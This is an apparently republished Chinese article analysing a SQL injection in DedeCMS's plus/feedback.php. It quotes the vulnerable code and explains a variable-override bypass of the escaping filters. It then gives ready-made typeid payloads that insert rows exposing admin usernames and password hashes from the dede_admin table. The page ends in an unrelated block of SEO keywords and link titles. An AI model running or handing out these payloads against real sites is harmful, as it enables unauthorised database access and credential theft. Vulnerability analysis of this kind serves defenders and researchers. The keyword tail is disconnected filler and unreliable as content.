千家信息网

如何进行dedecms注入的分析

发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,如何进行dedecms注入的分析,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。漏洞文件: plus\feedback.php。存在问
千家信息网最后更新 2025年01月20日如何进行dedecms注入的分析

如何进行dedecms注入的分析,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。

漏洞文件: plus\feedback.php。

存在问题的代码:

...if($comtype == 'comments')

{

$arctitle = addslashes($title);

if($msg!='')

{//$typeid变量未做初始化

$inquery = "INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)

VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";

echo $inquery;//调试,输出查询语句

$rs = $dsql->ExecuteNoneQuery($inquery);

if(!$rs)

{

ShowMsg(' 发表评论错误! ', '-1');

//echo $dsql->GetError();

exit();

}

}

}

//引用回复

elseif ($comtype == 'reply')

{

$row = $dsql->GetOne("SELECT * FROM `dede_feedback` WHERE id ='$fid'");

$arctitle = $row['arctitle'];

$aid =$row['aid'];

$msg = $quotemsg.$msg;

$msg = HtmlReplace($msg, 2);

$inquery = "INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)

VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";

$dsql->ExecuteNoneQuery($inquery);

}

完整的输入语句,第二个参数 typeid可控。

INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('108','2','游客','paxmac','127.0.0.1','1','1351774092', '0','0','0','feedback','0','nsfocus&&paxmac team');

common.inc.php文件 会把所有的request进行处理。

function _RunMagicQuotes(&$svar)

{

if(!get_magic_quotes_gpc())

{

if( is_array($svar) )

{

foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);

}

else

{

if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )

{

exit('Request var not allow!');

}

$svar = addslashes($svar);

}

}

return $svar;

}

…..

foreach(Array('_GET','_POST','_COOKIE') as $_request)

{

foreach($$_request as $_k => $_v)

{

if($_k == 'nvarname') ${$_k} = $_v;

else ${$_k} = _RunMagicQuotes($_v);

}

}

….

从上面代码可以看到他对外来的提交进行了转义处理,但是在filter.ini.php文件中

function _FilterAll($fk, &$svar)

{

global $cfg_notallowstr,$cfg_replacestr;

if( is_array($svar) )

{

foreach($svar as $_k => $_v)

{

$svar[$_k] = _FilterAll($fk,$_v);

}

}

else

{

if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i", $svar))

{

ShowMsg(" $fk has not allow words!",'-1');

exit();

}

if($cfg_replacestr!='')

{

$svar = preg_replace('/'.$cfg_replacestr.'/i', "***", $svar);

}

}

return $svar;

}

/* 对_GET,_POST,_COOKIE进行过滤 */

foreach(Array('_GET','_POST','_COOKIE') as $_request)

{

foreach($$_request as $_k => $_v)

{

${$_k} = _FilterAll($_k,$_v);

}

}上面是处理敏感词的代码,但是又对变量进行了注册,导致了变量二次覆盖漏洞。其实这漏洞很早前就存在,之前的是因为对提交的变量只检查一维数组的key,可以被绕过从而创建不允许的系统配置变量,dedecms历来的修改都让人摸不着头脑,修补的都是表面的东西,实质导致漏洞问题的原因不做修改。从这次的补丁看来,他就只加了一句判断$typeid是否为数字,对于80sec的防注入代码2次被绕过还继续无视。

所以在GPC=OFF的时候,被转义的变量又会被重新覆盖而变成正常代码。

Eg: typeid=2\’ 经过覆盖 typeid=2’

研究过上次dedecms SQL注入的问题的同学肯定了解他的防注入机制。这里做下简单的分析。他对于\到\之间的内容作为可信任,不对其进行检查。所以我们只要把想利用的代码放在’ ‘内就能躲过检查。利用Mysql的一个语法,他的值@`’`为空,下面来构造漏洞exp:

typeid=123′,@`’`,0×11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM dede_admin)),(108,’1111

我用tamper data提交此参数,

其实这里也利用了一个小bug

可以看到他的表结构,只有msg可以为null,但是利用代码中在username中用了null,这是非法的语句,单独插入是不会成功的,但是后面一句语句是成立的,insert (a,b) values (1,1)(2,2) (1,1,)非法 (2,2)符合条件的时候会成功同时插入2条语句。由于显示字符数量的问题,所以选择了msg字段作为输出。

补充 :`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg` aid是文章的ID 所以直接用我的语句是不成功的,需要修改成自己的文章ID

typeid=123′,@`’`,0×11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM `dede_admin`)),(评论文章ID,’1111

如 Tamper提交,(文章id=123)msg改为 www.hack6.com

mcbang&typeid=0','3','4','5','0','1351739660',%20'0','0','0','0','0','aaaaaa'),('123','2',@`'`,'4','5','1','1351739660',%20'0','0','0','0','0',(SELECT concat(uname,0x5f,pwd,0x5f) from '@#__admin')),(123,'2

关于如何进行dedecms注入的分析问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注行业资讯频道了解更多相关知识。

代码 问题 变量 语句 漏洞 分析 文章 成功 文件 处理 检查 内容 参数 时候 更多 转义 帮助 解答 评论 输出 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 软件开发工程师表扬信范文 服务器主机安装 机关单位网络安全宣传总结 一二三网络技术公司 上海企业网络技术服务价目 黄浦区上门软件开发厂家哪个好 贴近生活的网络安全应急演练场景 用手机制作软件开发 企业网络安全经费 软件开发项目管理的核心是 抖音极速版服务器地址 农业互联网十大黑科技 电气数据库需要自己定制吗 一排超过两个数据库 悦之缘网络技术有限公司在哪里 显示数据库的语法格式是 重庆系统软件开发机构 网络安全宣传周启动仪式山西 中文科技期刊数据库 如何做idc服务器 小型数据库如何开发 坦克世界闪击战一直服务器繁忙 一台设备需要两个数据库怎么弄 软件开发技术员工资组成 违反网络安全法第五十六条 输入网络安全密钥在哪里查看 网络安全技术期刊 苹果软件开发哪家公司好 yii框架数据库配置 信息管理与数据库技术课程心得
0